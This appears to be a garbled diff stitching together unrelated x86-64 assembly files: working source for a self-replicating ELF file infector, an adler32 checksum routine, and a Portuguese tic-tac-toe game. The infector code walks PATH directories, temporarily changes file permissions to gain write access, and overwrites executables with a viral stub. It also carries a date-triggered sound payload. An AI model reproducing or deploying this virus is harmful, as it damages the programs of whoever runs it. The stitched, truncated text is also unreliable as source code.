[rsp + 8] - ; Load argp - mov rdx, [rsp] - lea rdx, [rsp + 8 + rdx * 8 + 8] - ; Perform the syscall - push sys_execve - pop rax - syscall - ; Exit in case execve returns due to error. - mov rdi, -1 - push sys_exit - pop rax - syscall - -infect_argv: - ; Load two constants related to access() to - ; avoid having to reload them in the loop. - ; We're interested in the syscall number - ; and the two arguments specifying access - ; mode. - push sys_access - pop r14 - push 6 ; R_OK | W_OK - pop r15 -.argv_loop: - ; We could use argc, but we can also assume - ; that argv is terminated with a NULL. - mov rdi, qword [rbx] - test rdi, rdi - je .done - ; Check if we can infect the file. Don't bother - ; trying to tweak the permissions. - mov rsi, r15 - mov rax, r14 - syscall - ; access() returned nonzero -> we can't infect - test eax, eax - jne .skip_infect - ; Load the path to the executable and infect it. - mov rdi, qword [rbx] - call infect -.skip_infect: - ; Skip to the next pointer in the argv array. - add rbx, 8 - jmp .argv_loop -.done: - ret - -infect_selfdir: - ; Reserve some space on the stack. - sub rsp, 40 - ; Load the first buffer with PATH=. - lea rax, [rsp + 9] - mov dword [rax], 'PATH' - mov word [rax + 4], '=.' - mov byte [rax + 6], 0 - ; Write the buffer as the first entry and NULL-terminate the - ; artificial ARGP. - lea rdi, [rsp + 16] - mov qword [rdi], rax - and qword [rdi + 8], 0 - ; Infect. - call infect_path - add rsp, 40 - ret - -; Wants to be called with argp in rdi. -infect_path: - ; Reserve a (somewhat arbitrary) amount of stack space. - ; It needs to hold a few path buffers (3 buffers, 4096 bytes each) - sub rsp, 12456 - ; Query the current time stamp counter as a source of randomness. - ; rdtsc will set rdx and rax to the higher and lower bits of the time - ; stamp counter, so we put them together and store them in the RNG seed - ; variable. - rdtsc - shl rdx, 32 - or rdx, rax - mov qword [seed], rdx - ; Find "PATH=" in ARGP. -.path_find_loop: - ; NULL terminates argp, check for this. - mov rax, qword [rdi] - test rax, rax - je .infect_done - ; Load the first five bytes of the current string. - ; If any of them is NUL, we skip to the next string. - mov cl, byte [rax] - test cl, cl - je .path_loop_skip - mov dl, byte [rax + 1] - test dl, dl - je .path_loop_skip - mov bl, byte [rax + 2] - test bl, bl - je .path_loop_skip - mov sil, byte [rax + 3] - test sil, sil - je .path_loop_skip - mov r8b, byte [rax + 4] - test r8b, r8b - je .path_loop_skip - ; Check if the ASCII values are right. - cmp cl, 'P' - jne .path_loop_skip - cmp dl, 'A' - jne .path_loop_skip - cmp bl, 'T' - jne .path_loop_skip - cmp sil, 'H' - jne .path_loop_skip - cmp r8b, '=' - je .path_found -.path_loop_skip: - ; Go to the next pointer in the argp array. - add rdi, 8 - jmp .path_find_loop -.path_found: - add rax, 5 - ; Select the final path buffer. - lea r12, [rsp + 4256] - ; Load a few auxiliary constants. - push 3 - pop rbx - push sys_open - pop r8 -.path_loop: - ; Check if we've hit the end of the PATH variable. - mov cl, byte [rax] - test cl, cl - je .infect_done - ; Copy path until : or \0 is found. - xor r13d, r13d -.copy_path: - test cl, cl - je .attempt_scan - cmp cl, ':' - je .attempt_scan - mov byte [rsp + r13 + 160], cl - mov cl, byte [rax + r13 + 1] - inc r13 - jmp .copy_path -.attempt_scan: - ; NUL-terminate the path. - mov ecx, r13d - mov byte [rsp + rcx + 160], 0 - xor ecx, ecx - ; Check if we have to skip an extra colon. - cmp byte [rax + r13], ':' - sete cl - add rcx, rax - ; Decide whether we want to infect this directory. - ; Take a random number from a linear congruential generator - ; and divide it by three. The modulus of zero means "no". - imul rax, qword [seed], LCG_A - add rax, LCG_B - mov qword [seed], rax - xor edx, edx - div rbx - test rdx, rdx - je .next_path - ; O_RDONLY | O_DIRECTORY - mov esi, 0x10000 - lea rdi, [rsp + 160] - mov rax, r8 - ; Preserve rcx through the system call. - mov qword [rsp], rcx - syscall - mov rcx, qword [rsp] - ; Clever way to determine whether the number is negative. - bt eax, 31 - jb .next_path - ; Save the file descriptor. - mov qword [rsp + 8], rax - ; Copy the file descriptor elsewhere, because we are going to use - ; it now, and it would be a shame if a syscall clobbered it ;). - mov rbp, rax -.getdents_loop: - ; Load max path size. - mov edx, 4096 - ; Load the directory file descriptor. - mov rdi, rbp - ; Load the buffer address. - lea rsi, [rsp + 8352] - push sys_getdents - pop rax - syscall - ; Jump to some common error stub that will close the - ; directory descriptor in case of failure. - test eax, eax - je .getdents_err - ; Preserve the amount of entries somewhere. - ; eax is often trashed by system calls so we want to - ; avoid it being lost. - mov r14d, eax - xor eax, eax -.dir_loop: - ; Load the current entry number, directory entries buffer - ; and the random seed. - mov r15d, eax - lea rbx, [rsp + r15] - add rbx, 8352 - mov rax, qword [seed] -.discard_loop: - ; Done processing? - cmp r14, r15 - jbe .getdents_loop - ; Extract the type of the directory entry. - movzx ecx, word [rbx + 16] - mov dl, byte [rbx + rcx - 1] - ; Skip if not a regular file or a symlink. - and dl, -3 - cmp dl, 8 - jne .give_up - ; Invoke the LCG again. Skip the entry upfront if dividing by - ; four gives modulus 0, that is, last two binary digits of the - ; number are 0. - imul rax, rax, LCG_A - add rax, LCG_B - mov qword [seed], rax - test al, 3 - je .discard_loop - ; OK, first nul-terminate the final buffer with the filename - ; so that the `concat` function can work properly. Then append the - ; directory name to that empty final buffer. - mov byte [rsp + 4256], 0 - mov rdi, r12 - lea rsi, [rsp + 160] - call concat - ; We need to terminate the path with a slash only if it is not present - ; already. Check this. Use a dumb strlen-ish function. - mov rax, r12 -.len_loop: - cmp byte [rax], 0 - je .len_ok - inc rax - jmp .len_loop -.len_ok: - ; Slash? - cmp byte [rax - 1], '/' - je .has_slash - mov esi, pathsep - mov rdi, r12 - call concat -.has_slash: - ; Append the file name now. - lea rsi, [rbx + 18] - mov rdi, r12 - call concat - ; Check if we can access the file for reading and writing. - mov rdi, r12 - push 6 ; R_OK | W_OK - pop rsi - push sys_access - pop rax - syscall - mov rcx, rax - ; Decide whether we want to infect this file anyway. - ; Same LCG and division stuff, except this time with the - ; modulus of 10. - imul rax, qword [seed], LCG_A - add rax, LCG_B - mov qword [seed], rax - xor edx, edx - push 10 - pop rsi - div rsi - ; Proceed only if: - ; (1) the file is not accessible - ; (2) we want to infect it - ; Handle a special case here: try to add an owner - ; write permission bit to the file and see if this lets - ; us access it... :). Might protect against some - ; "overzealous" (removes write permissions on critical - ; executables to avoid problems) but not "overly paranoid" - ; (removes write permissions /and/ transfers ownership) users. - ; In that case we can do nothing but hope that we get root somehow. - test ecx, ecx - je .normal_path - test rdx, rdx - jne .normal_path - ; Stat the file. - mov rdi, r12 - lea rsi, [rsp + 16] - push sys_stat - pop rax - syscall - ; Set the owner write permission bit and call chmod. - mov esi, dword [rsp + 40] - or rsi, 128 - mov dword [rsp + 40], esi - mov rbp, r12 - push sys_chmod - pop r12 - mov rax, r12 - syscall - ; Try to access again? - mov rdi, rbp - push 6 ; R_OK | W_OK again. - pop rsi - push sys_access - pop rax - syscall - ; Still no? Restore the permissions. - test eax, eax - jne .restore_perms - ; Yes => do infect. - mov rdi, rbp - call infect -.restore_perms: - mov esi, dword [rsp + 40] - and esi, -129 ; Everything except the bit 7 - mov dword [rsp + 40], esi - mov rdi, rbp - mov rax, r12 - syscall - ; File still not accessible. Give up. - ; Load the directory descriptor. - mov rax, qword [rsp + 8] - mov r12, rbp - mov rbp, rax - jmp .give_up -.normal_path: - ; Check if we want to infect this file. - test rdx, rdx - jne .give_up - ; Do infect. - mov rdi, r12 - call infect -.give_up: - ; We end up here when it's time to skip to - ; the next directory entry. - movzx ecx, word [rbx + 16] - movzx eax, cx - add eax, r15d - jmp .dir_loop -.getdents_err: - ; We get here when it's time to close the - ; directory descriptor and move on. - mov rdi, rbp - push sys_close - pop rbx - mov rax, rbx - syscall - ; Load the sys_open constant again - push sys_open - pop r8 - mov rcx, qword [rsp] -.next_path: - ; Go to the next path to process - add rcx, r13 - mov rax, rcx - jmp .path_loop -.infect_done: - ; Balance the stack and yield. - add rsp, 12456 - ret - -concat: - ; Find the end of the first string. - cmp byte [rdi], 0 - lea rdi, [rdi + 1] - jne concat - ; Start appending characters in a loop. - push -1 - pop rax -.do_loop: - ; Nothing left in the source string. - mov cl, byte [rsi + rax + 1] - test cl, cl - je .done - mov byte [rdi + rax], cl - inc rax - jmp .do_loop -.done: - ; Null-terminate the string. - mov byte [rdi + rax], 0 - ret - -infect: - ; Preserve a bunch of registers that the caller function needs. - push r15 - push r14 - push rbx - ; Reserve enough space for the transaction buffer. - sub rsp, 200 + SIZE - ; Open the goat file w/ O_RDWR. - mov rbx, sys_open - mov rsi, rbx - mov rax, rbx - syscall - ; Check if the file was opened successfully. - bt eax, 31 - jb .cleanup - ; Read the ELF header. - mov r8d, eax - lea rsi, [rsp - 112] - ; Size of the ELF header. - mov rdx, 64 - mov rdi, r8 - ; sys_read = 0 - xor eax, eax - syscall - ; Check machine type (AMD64, code 62) - cmp word [rsi + 18], 62 - jne .elf_bad - ; ELF class (64-bit) - cmp byte [rsp - 108], 2 - jne .elf_bad - ; Check the 0x7f ELF magic. - cmp byte [rsp - 109], 'F' - jne .elf_bad - cmp byte [rsp - 110], 'L' - jne .elf_bad - cmp byte [rsp - 111], 'E' - jne .elf_bad - cmp byte [rsp - 112], 0x7F - jne .elf_bad - ; Rewind to the SENTINEL_LOC-th byte. We want to check - ; if this ELF file was already infected. - mov r9, sys_lseek - mov rsi, SENTINEL_LOC - mov rdi, r8 - xor edx, edx - mov rax, r9 - syscall - ; Read 12 bytes (length of "palaiologos\0") - lea rsi, [rsp - 128] - mov rdx, 12 - xor eax, eax - syscall - ; Check if the sentinel is present. - movq xmm0, qword [rsi] - movq rax, xmm0 - ; Check the first part. - mov rcx, 'palaiolo' - cmp rax, rcx - jne .elf_clean - ; Check the remaining bytes: gos\0 - cmp byte [rsp - 120], 'g' - jne .elf_clean - cmp byte [rsp - 119], 'o' - jne .elf_clean - cmp byte [rsp - 118], 's' - jne .elf_clean - cmp byte [rsp - 117], 0 - jne .elf_clean -.elf_bad: - ; Close ourselves and return. Already infected. - mov rax, 3 - mov rdi, r8 - syscall - jmp .cleanup -.elf_clean: - ; Open self. - mov edi, self - xor esi, esi - mov rax, rbx - syscall - ; Open a memfd with O_CLOEXEC. - mov r10d, eax - mov r14, 1 - mov edi, empty - mov eax, sys_memfd_create - mov rsi, r14 - syscall - ; Copy over the viral stub from ourselves to the memfd. - mov ebx, eax - lea r15, [rsp - 48] - mov edx, SIZE - mov rdi, r10 - mov rsi, r15 - xor eax, eax - syscall - mov edx, SIZE - mov rdi, rbx - mov rax, r14 - syscall - ; Seek to the beginning of the goat file (we want the ELf header back). - mov rdi, r8 - xor esi, esi - xor edx, edx - mov rax, r9 - syscall - ; Copy data from the goat file to the memfd in a loop. -.copy_goat_memfd: - mov edx, SIZE - mov rdi, r8 - mov rsi, r15 - xor eax, eax - syscall - test eax, eax - je .copy_goat_memfd_done - mov edx, eax - mov rdi, rbx - mov rsi, r15 - mov rax, r14 - syscall - jmp .copy_goat_memfd - ; Rewind the goat file and the memfd. -.copy_goat_memfd_done: - mov rdi, rbx - xor esi, esi - xor edx, edx - mov rax, r9 - syscall - mov rdi, r8 - xor esi, esi - xor edx, edx - mov rax, r9 - syscall - ; Overwrite the goat file with the memfd contents. - lea rsi, [rsp - 48] -.copy_memfd_goat: - mov edx, SIZE - mov rdi, rbx - xor eax, eax - syscall - test eax, eax - je .copy_memfd_goat_done - mov edx, eax - mov rdi, r8 - mov rax, r14 - syscall - jmp .copy_memfd_goat -.copy_memfd_goat_done: - ; Close goat, memfd, and self. - mov rdx, sys_close - mov rdi, rbx - mov rax, rdx - syscall - mov rdi, r8 - mov rax, rdx - syscall - mov rdi, r10 - mov rax, rdx - syscall -.cleanup: - ; Balance the stack and quit. - add rsp, 200 + SIZE - pop rbx - pop r14 - pop r15 - ret - -sys_time equ 201 - -birthday: - ; Ask for the current UNIX time. - mov eax, sys_time - xor edi, edi - syscall - ; Determine whether we are dealing with a - ; leap year. We want to obtain the divmod of - ; the UNIX time stamp and four years expressed in - ; seconds (1461 * seconds in a day) = (1461 * 24 * 60 * 60) - ; = 126230400 - mov ecx, eax - mov esi, 126230400 - xor edx, edx - div esi - imul rax, rax, -126230400 - add rax, rcx - ; Determine the correct year in the four year interval. - ; If the quotient result of divmod is less than a year, - ; just ignore the entire thing. - ; 31536000 is the amount of seconds in a year. - cmp rax, 31536000 - jl .year_ok - ; Check if we're in the 2nd year of the 4 year interval. - ; Easy to notice that this constant is the amount of seconds - ; in two years. - cmp rax, 63072000 - jb .sub_year - ; Same logic as above except three years. - ; There's a twist though: we need to account for a leap day. - ; The logic for leap days is way different... - cmp rax, 94694400 - jb .is_leap - ; Leap year: subtract 3 years worth of seconds and add a leap day. - sub rax, 94694400 - jmp .year_ok -.sub_year: - ; Subtract a year's worth of seconds. - sub rax, 31536000 -.year_ok: - ; Calculate days since 01/01. - mov ecx, 86400 - xor edx, edx - div rcx - cdqe - ; Load the running total of days in each month. - mov rcx, days -.determine_month: - push -1 - pop rdx -.month_loop: - ; Bump up the month until exceeded days since 01/01. - lea esi, [rdx + 2] - movsxd rsi, dword [rcx + 4 * rsi] - inc edx - cmp rax, rsi - jg .month_loop - ; Save the month value for later. - mov esi, edx - ; Load the day of month. - movsxd rcx, dword [rcx + 4 * rsi] - sub rax, rcx - ; Check if the day and month match. - cmp rax, 9 - jne .heck - cmp edx, 7 - jne .heck - ; Pick a random number and proceed only with 10% certainty... - imul rax, qword [rip + seed], LCG_A - add rax, LCG_B - mov qword [rip + seed], rax - push 10 - pop rcx - xor edx, edx - div rcx - test rdx, rdx - je proceed -.heck: - ret -.is_leap: - ; Compute day of year and load the leap days LUT. - sub eax, 63072000 - mov ecx, 86400 - xor edx, edx - div ecx - mov rcx, ldays - jmp .determine_month - -proceed: - ; Open the sound device. - mov rax, 2 - mov r8, 1 - mov edi, snddev - mov rsi, r8 - syscall - ; Play the "suspense" sound. - mov edi, eax - xor ebp, ebp - ; Load the place on the stack where the sample is saved. - lea rsi, [rsp - 4] - xor ebx, ebx -.susp_loop: - ; 58000 ticks. - cmp ebx, 58000 - je .susp_done - ; Generate the sample. - mov ecx, ebx - shr ecx, 13 - and cl, 27 - mov eax, 322376503 - shr eax, cl - and eax, 127 - imul eax, ebx - mov ecx, ebx - shr ecx, 4 - or ecx, ebp - or ecx, eax - ; Save and write. - mov dword [rsp - 4], ecx - mov rdx, r8 - mov rax, r8 - syscall - ; Loop again. - inc ebx - add ebp, 32 - jmp .susp_loop -.susp_done: - ; Purposefully waste some CPU cycles for delay. - mov eax, 100000 -.busy: - sub eax, 1 - jb .busydone - nop - jmp .busy -.busydone: - ; Roll a dice. 33% chance of playing the "doomy" sound. - imul rax, qword [seed], LCG_A - add rax, LCG_B - mov qword [seed], rax - xor ebp, ebp - mov r9, 3 - xor edx, edx - div r9 - test rdx, rdx - je .doomy - ; Generate the "good" samples! - mov r10d, 1 - mov ebx, 8 - mov ebp, 13 - lea rsi, [rsp - 12] - mov r14d, 12 - ; The song is procedurally generated in stages three stages: - ; stage 0, stage 1 and stage 2. -.good_main: - cmp r10d, 106000 - je .good_done - mov eax, ebp - mov ecx, ebx - cmp r10d, 35000 - jb .good0 - cmp r10d, 67499 - ja .good1 - lea ecx, [r10 + 8 * r10] - mov eax, ebp - jmp .good0 -.good1: - cmp r10d, 83999 - ja .good2 - lea ecx, [r10 + 8 * r10] - mov eax, r14d - jmp .good0 -.good2: - lea ecx, [8*r10] - cmp r10d, 98000 - mov eax, ebp - sbb eax, 0 -.good0: - mov edx, r10d - shr edx, 2 - imul eax, r10d - add eax, edx - mov edx, r10d - shr edx, 3 - or edx, ecx - mov ecx, r10d - shr ecx, 5 - or ecx, edx - or ecx, eax - ; Write the sample. - mov dword [rsp - 12], ecx - mov rdx, r8 - mov rax, r8 - syscall - inc r10d - add ebx, 8 - jmp .good_main -.good_done: - ; Close file descriptor. - mov rax, r9 - syscall - jmp .cleanup -.doomy: - ; "Doomy" track. - lea rsi, [rsp - 8] -.doomy_loop: - cmp ebp, 250000 - je .doomy_quit - mov eax, ebp - shr eax, 11 - mov ecx, ebp - shr ecx, 1 - or ecx, eax - imul eax, ecx, 430 - ; Write the sample. - mov dword [rsp - 8], eax - mov rdx, r8 - mov rax, r8 - syscall - add ebp, 5 - jmp .doomy_loop -.doomy_quit: - ; Exit with code 0. - mov rax, 60 - xor edi, edi - syscall -.cleanup: - ret - -format ELF64 executable -use64 - -entry _start - -; Compute x / 0xFFF1. Consider K = (2 ^ N) / 0xFFF1, for some value of N. -; Now, to compute X / 0xFFF1 is to compute X * K, and shift it N positions to the right. -; Finally, compute `x - trunc(edx = x / 0xFFF1) * 0xFFF1`, yielding the desired remainder. -; K = 0x80078071 used throughout the program has been devised from N=47, since -; N=32+M, where M is the smallest integer where: -; 0xFFF1 <= (2^(32 + M) mod 0xFFF1) + 2^M, or alternatively -; 0xFFF1 <= 0xFFF1 * floor(2^(M+32) / 0xFFF1) + 2^M + 2^(M+32). -macro mod0xFFF1 K,N,src,reg { - mov e#reg, src - imul r#reg, K - shr r#reg, N - imul e#reg, e#reg, 0xFFF1 - sub src, e#reg -} - ; Compute the adler32 checksum. ; Input: ; - EDI => initial checksum value. @@ -904,29 +52,19 @@ adler32: movzx esi, di ; load the pointer to the end of the data lea r10, [rcx + rdx] - ; the data needs to be processed byte-wise until desired alignment is reached. - ; if the input size is 0, terminate the algorithm as there is nothing to checksum. - ; The value of the initial checksum value will be glued back together and returned. test rdx, rdx je .terminate ; Check if the lowest two bits of the input pointer are aligned to 16 bytes. test cl, 15 jne .unaligned .aligned: - ; If we have reached this point, the data is aligned so we can process it using vector operations. - ; Compute the new end taking on the account the possibility that some of the data might have been processed already - ; and it will be processed afterwards. end -= (end - p) & 0x1F to adjust for the amount of bytes per iteration (32) mov rdx, r10 mov r8, r10 sub rdx, rcx and edx, 31 sub r8, rdx - ; Not even one iteration of the vectorised algorithm is guaranteed. If the data isn't large enough to be processed - ; in a chunk (less than 32 bytes), skip to the bytewise checksumming part. cmp rcx, r8 je .process_remaining - ; Load a few constants that will be used throughout the algorithm to save a few CPU cycles during the loop. - ; The value of K for the mod0xFFF1 macro. mov r9d, 0x80078071 ; The initial vector values. pxor xmm1, xmm1 @@ -935,26 +73,17 @@ adler32: movdqu xmm6, [.V16] movdqu xmm5, [.V8] .chunk_loop: - ; Compute the chunk size. It's either the smaller of two values - the amount of data to process in total, or 4096 (chunk * 8). mov rdx, r8 sub rdx, rcx mov edi, 4096 cmp rdx, rdi cmova rdx, rdi - ; Clear the vector registers. - ; XMM0 => sum of bytes - ; XMM13 => sum of low bytes - ; XMM4, XMM11, XMM10, XMM9 => 16-bit counters for byte sums. Each accumulates a - ; number and the dot product will need to be computed to add the resulting - ; high bytes pxor xmm0, xmm0 pxor xmm13, xmm13 - pxor xmm4, xmm4 pxor xmm11, xmm11 pxor xmm10, xmm10 pxor xmm9, xmm9 - ; Subtract chunk size modulo the amount of bytes per iteration (32). mov rdi, rdx mov rdx, rcx and rdi, 0xFFFFFFFFFFFFFFE0 @@ -964,157 +93,33 @@ adler32: imul edi, esi add edi, eax .inner_chunk_loop: - ; Accumulate previous counters to current counters and load a new batch - ; of data using aligned moves. movdqa xmm3, [rdx] movdqa xmm2, [rdx + 16] paddd xmm13, xmm0 - ; Use `PSADBW` to add the bytes horizontally with 8 bytes per sum. - ; Add the sums to XMM0. movdqa xmm12, xmm3 psadbw xmm12, xmm1 paddd xmm12, xmm0 - movdqa xmm0, xmm2 psadbw xmm0, xmm1 paddd xmm0, xmm12 - ; Accumulate the data into the additional counters too. - ; Unpack high and low parts and add them to the respective counter vector. movdqa xmm12, xmm3 punpckhbw xmm3, xmm1 punpcklbw xmm12, xmm1 paddw xmm11, xmm3 paddw xmm4, xmm12 - movdqa xmm3, xmm2 punpckhbw xmm2, xmm1 punpcklbw xmm3, xmm1 paddw xmm9, xmm2 paddw xmm10, xmm3 - ; Loop until the end of the chunk has been reached. - add rdx, 32 - cmp rcx, rdx - jne .inner_chunk_loop - ; Finish calculating the XMM13 and XMM0 counter. Update the values of high and low (respectively) checksum elements. - pshufd xmm3, xmm0, 0x31 - paddd xmm0, xmm3 - pshufd xmm3, xmm0, 0x2 - paddd xmm0, xmm3 - movd eax, xmm0 - add esi, eax - mod0xFFF1 r9, 47, esi, ax - - pslld xmm13, 5 - movdqa xmm2, xmm4 - pmaddwd xmm2, xmm8 - paddd xmm2, xmm13 - pmaddwd xmm11, xmm7 - paddd xmm2, xmm11 - pmaddwd xmm10, xmm6 - paddd xmm2, xmm10 - pmaddwd xmm9, xmm5 - paddd xmm2, xmm9 - - pshufd xmm0, xmm2, 0x31 - paddd xmm0, xmm2 - pshufd xmm2, xmm0, 0x2 - paddd xmm0, xmm2 - movd eax, xmm0 - add eax, edi - mod0xFFF1 r9, 47, eax, dx - - ; Loop while there is data left. - cmp r8, rcx - jne .chunk_loop -.process_remaining: - ; Check if the input pointer has reached the end already. - cmp r10, rcx - je .terminate -.process_bytewise: - ; The contents of this loop are mirrored in the bytewise checksumming part to get a chunk of aligned data. - movzx edx, BYTE [rcx] - inc rcx - add esi, edx - add eax, esi - cmp r10, rcx - jne .process_bytewise - ; The process of computing the remainder of the high and low parts by 0xFFF1. Explanation below. mov edi, 0x80078071 mod0xFFF1 rdi, 47, esi, dx - mod0xFFF1 rdi, 47, eax, dx -.terminate: - ; Glue together eax and esi (respectively higher and lower bits of the resulting checksum) and yield the result. - sal eax, 16 - or eax, esi - ret -.recheck_alignment: - ; Check lowest two bits of the input pointer to determine whether it's aligned to 16 bits. - test cl, 15 - je .now_aligned -.unaligned: - ; Process unaligned data. Perform byte-wise checksumming until alignment is reached. - ; low += *input++. - movzx edx, BYTE [rcx] - inc rcx - add esi, edx - ; high += low - add eax, esi - cmp r10, rcx - jne .recheck_alignment -.now_aligned: - ; Compute the remainder of the high and low parts of the checksum when dividing by 0xFFF1. - mov edi, 0x80078071 - mod0xFFF1 rdi, 47, esi, dx - mod0xFFF1 rdi, 47, eax, dx - ; The data is aligned now. - jmp .aligned - -.V32: dw 32, 31, 30, 29, 28, 27, 26, 25 -.V24: dw 24, 23, 22, 21, 20, 19, 18, 17 -.V16: dw 16, 15, 14, 13, 12, 11, 10, 9 -.V8: dw 8, 7, 6, 5, 4, 3, 2, 1 - -; stat structure buffer. -sb: times 144 db 0 - -; System interface on x64 Linux works as follows: -; eax - syscall_number -; Parameters: -; 1st 2nd 3rd 4th 5th 6th -; rdi rsi rdx r10 r8 r9 - -; The system call numbers (eax values) used by the driver code. -open equ 2 -mmap equ 9 -fstat equ 5 -exit equ 60 -write equ 1 - -; The entry point to test the checksum algorithm. -; The application takes a single CLI argument with the file to checksum. -_start: - ; Section 3.4.1 of the ABI document (Initial Stack and Register State) contains figure 3.9, - ; which is a table describing initial stack layout. According to the the layout, the top of the stack - ; is the argument count, followed by pointers to argument strings. As I am not interested in the argument - ; count and the first argument, I pop them off. The remaining element is the file name and it's saved in - ; rdi, which will be used for a syscall soon. pop rdi pop rdi pop rdi - ; open($rdi, O_RDWR); O_RDWR = open = 2 - mov eax, open - mov esi, eax - syscall - ; Preserve the file descriptor over the fstat call. - push rax - ; fstat($eax, sb) to query the file size mov esi, sb mov rdi, rax mov eax, fstat - syscall - ; mmap(0, *(uint64_t *) sb + 48, PROT_READ = 1, MAP_SHARED = 1, fd, 0) - ; Note: Offset 48 into the stat structure is the file size, but since FASM does not supply - ; POSIX headers, I had to perform this calculation myself. Check `man 2 lstat`. pop r8 xor r9d, r9d xor edi, edi @@ -1123,53 +128,6 @@ _start: mov r10d, edx mov rsi, [sb + 48] syscall - ; Compute the adler32 checksum. - mov rdx, rsi - mov rcx, rax - xor eax, eax - mov edi, 1 - call adler32 - ; Stringify the checksum to decimal. - ; XXX: This code could be modified to display the checksum in hexadecimal or as-is, as binary data. - ; Reserve a 16 byte buffer on the stack. - mov rbp, rsp - sub rbp, 16 - mov edi, 10 - mov esi, eax - mov rcx, 14 -.stringify_loop: - ; Load the input number to eax. - mov eax, esi - xor edx, edx - ; eax = eax / edi - ; edx = eax % edi - div edi - ; Add 48 (ASCII 0) to turn the remainder into a digit. - add edx, 48 - ; Store the digit in the output buffer. - mov BYTE [rbp + rcx], dl - ; Preserve the previous value and replace it with the new one. - mov edx, esi - mov esi, eax - ; Preserve the counter and decrement it. - mov rax, rcx - dec rcx - ; Loop if the previous value is > 9 (=> if there are more digits left). - cmp edx, 9 - ja .stringify_loop - ; Otherwise: print the value. - ; write(1, buf + rax, 16 - rax) - lea rsi, [rbp + rax] - xor edi, edi - inc edi - mov edx, 16 - sub edx, eax - mov eax, write - syscall - ; Quit the program. `ret` obviously won't work. - mov eax, exit - syscall - main: push RBP @@ -1358,2106 +316,4 @@ LAST: mov RAX, 0 pop RBP -ret - -section .bss - key resb 1 - garbage resb 1 ; trash from stdin (\n) - -section .data - new_line db 10 - nl_size equ $-new_line - - game_draw db "_|_|_", 10 - db "_|_|_", 10 - db "_|_|_", 10, 0 - gd_size equ $-game_draw - - win_flag db 0 - - player db "0", 0 - p_size equ $-player - - game_over_message db "FIM DE JOGO AMIGOS", 10, 0 - gom_size equ $-game_over_message - - game_start_message db "JOGO DA VELHA" - gsm_size equ $-game_start_message - - player_message db "JOGADOR ", 0 - pm_size equ $-player_message - - win_message db " GANHOU!", 0 - wm_size equ $-win_message - - type_message db "ENTRE COM UMA POSICAO NO TABULEIRO: ", 0 - tm_size equ $-type_message - - clear_screen_ASCII_escape db 27,"[H",27,"[2J" ; [H [2J - cs_size equ $-clear_screen_ASCII_escape - -section .text - global _start - -_start: -nop -main_loop: - call clear_screen - - mov rsi, game_start_message - mov rdx, gsm_size - call print - - mov rsi, new_line - mov rdx, nl_size - call print - - mov rsi, player_message - mov rdx, pm_size - call print - - mov rsi, player - mov rdx, p_size - call print - - mov rsi, new_line - mov rdx, nl_size - call print - - mov rsi, game_draw - mov rdx, gd_size - - call print - - mov rsi, new_line - mov rdx, nl_size - call print - - mov rsi, type_message - mov rdx, tm_size - call print - - .repeat_read: - call read_keyboard ; Vamos ler a posição que o usuário vai passar - - cmp rax, 0 - je .repeat_read - - mov al, [key] - sub al, 48 ; 48 equivale a "0" em ASCII, eu faço essa subtração porque eu quero converter ASCII para inteiro - - call update_draw - - call check - - cmp byte[win_flag], 1 - je game_over - - call change_player - - jmp main_loop - -change_player: - - xor byte[player], 1 ; Tipo um xor swap :) - - ret - -print: - mov rax, 1 - mov rdi, 1 - syscall - ret - -read_keyboard: - mov rax, 0 - mov rdi, 0 - mov rsi, key - mov rdx, 1 - syscall - - cmp byte[key], 0x0A - jz read_end - - mov rdi, 0 - mov rsi, garbage - mov rdx, 1 - - flush_loop: - mov rax, 0 - syscall - - cmp byte[garbage], 0x0A - jz read_end - jmp flush_loop - - read_end: - - ret - -clear_screen: - mov rsi, clear_screen_ASCII_escape - mov rdx, cs_size - call print - ret - -update_draw: - - cmp rax, 1 - je first_pos - - cmp rax, 2 - je second_pos - - cmp rax, 3 - je third_pos - - cmp rax, 4 - je fourth_pos - - cmp rax, 5 - je fifith_pos - - cmp rax, 6 - je sixth_pos - - cmp rax, 7 - je seventh_pos - - cmp rax, 8 - je eighth_pos - - cmp rax, 9 - je nineth_pos - - jmp end_update - - first_pos: - mov rax, 0 - jmp continue_update - - second_pos: - mov rax, 2 - jmp continue_update - - third_pos: - mov rax, 4 - jmp continue_update - - fourth_pos: - mov rax, 6 - jmp continue_update - - fifith_pos: - mov rax, 8 - jmp continue_update - - sixth_pos: - mov rax, 10 - jmp continue_update - - seventh_pos: - mov rax, 12 - jmp continue_update - - eighth_pos: - mov rax, 14 - jmp continue_update - - nineth_pos: - mov rax, 16 - jmp continue_update - - continue_update: - - lea rbx, [game_draw + rax] - - mov rsi, player - - cmp byte[rsi], "0" - je draw_x - - cmp byte[rsi], "1" - je draw_o - - draw_x: - mov cl, "x" - jmp update - - draw_o: - mov cl, "o" - jmp update - - update: - mov [rbx], cl - - end_update: - - ret - -check: - call check_line - ret - -check_line: - - mov rcx, 0 - - check_line_loop: - cmp rcx, 0 - je first_line - - cmp rcx, 1 - je second_line - - cmp rcx, 2 - je third_line - - call check_column - ret - - first_line: - mov rsi, 0 - jmp do_check_line - - second_line: - mov rsi, 6 - jmp do_check_line - - third_line: - mov rsi, 12 - jmp do_check_line - - do_check_line: - inc rcx - - lea rbx, [game_draw + rsi] - - mov al, [ebx] - cmp al, "_" - je check_line_loop - - add rsi, 2 - lea rbx, [game_draw + rsi] - - cmp al, [rbx] - jne check_line_loop - - add rsi, 2 - lea rbx, [game_draw + rsi] - - cmp al, [rbx] - jne check_line_loop - - mov byte[win_flag], 1 - ret - -check_column: - mov rcx, 0 - - check_colum_loop: - cmp rcx, 0 - je first_column - - cmp rcx, 1 - je second_column - - cmp rcx, 2 - je third_column - - call check_diagonal - ret - - first_column: - mov rsi, 0 - jmp do_check_column - - second_column: - mov rsi, 2 - jmp do_check_column - - third_column: - mov rsi, 4 - jmp do_check_column - - do_check_column: - inc rcx - - lea rbx, [game_draw + rsi] - - mov al, [rbx] - cmp al, "_" - je check_colum_loop - - add rsi, 6 - lea rbx, [game_draw + rsi] - - cmp al, [rbx] - jne check_colum_loop - - add rsi, 6 - lea rbx, [game_draw + rsi] - - cmp al, [rbx] - jne check_colum_loop - - mov byte[win_flag], 1 - ret - -check_diagonal: - mov rcx, 0 - - check_diagonal_loop: - cmp rcx, 0 - je first_diagonal - - cmp rcx, 1 - je second_diagonal - - ret - - first_diagonal: - mov rsi, 0 - mov rdx, 8 ; tamanho do pulo que vamos dar para o meio da diagonal - jmp do_check_diagonal - - second_diagonal: - mov rsi, 4 - mov rdx, 4 - jmp do_check_diagonal - - do_check_diagonal: - inc rcx - - lea rbx, [game_draw + rsi] - - mov al, 